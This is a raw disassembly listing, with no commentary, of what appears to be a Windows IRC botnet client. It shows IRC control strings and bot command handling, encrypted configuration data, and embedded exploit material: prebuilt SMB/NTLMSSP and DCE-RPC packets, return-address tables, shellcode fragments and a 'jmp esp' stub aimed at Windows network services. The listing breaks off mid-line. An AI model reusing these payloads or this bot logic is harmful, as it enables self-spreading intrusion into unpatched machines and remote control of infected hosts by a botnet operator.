sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 1197E8h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2AEC3778h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 22DB0h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 155E78h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 135A78h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 121930h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D0EBFCFDh ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 90F030h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 29FB0h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 58EE830h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 25570h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 969E58h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 0FF778h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0FB288h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 12A488h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 55D1DB0h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 85A058h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 988A30h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 53005939h ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2AD87238h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 903F4F39h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 3F53B78h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1054F8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 2AC15529h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 90DB78h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 27B78h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0F669DEC8h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 51AF03CEh ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 560C8BD9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 125EC8h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23B2DEC8h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 3E3DEC8h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2AC19078h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 3D18h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 25CB99D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 26F91BF8h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 26F7D4F8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0BA3DCE82h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0BA3E0C3Ah ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 27740A05h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 3F2F239h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 12E5F8h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 11709839h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 24EBDF78h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 1274D8h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 119530h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 5070h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 9Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h ; DATA XREF: sub_40A9CF+790o dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0) dword_419DB0 dd 4CFC788h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 225CC0D9h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 16C4931h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh ; DATA XREF: sub_40A9CF+534o dd 87F6CDABh, 2 dup(0) dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: sub_40A9CF+437o dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h dd 0BDB1F9BBh, 2 dup(0) dword_419E48 dd 21CC8h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 3F1EAF9h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 3EDD4F9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 242660F8h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 2B7260F8h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 8EB758h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 473EDB0h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 1685E8h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3C1A6B1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree_0 db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: .data:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: .data:loc_41A8ACj ; .data:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: .data:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: .data:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: .data:0041A8AEj ; .data:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: .data:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: .data:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: .data:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 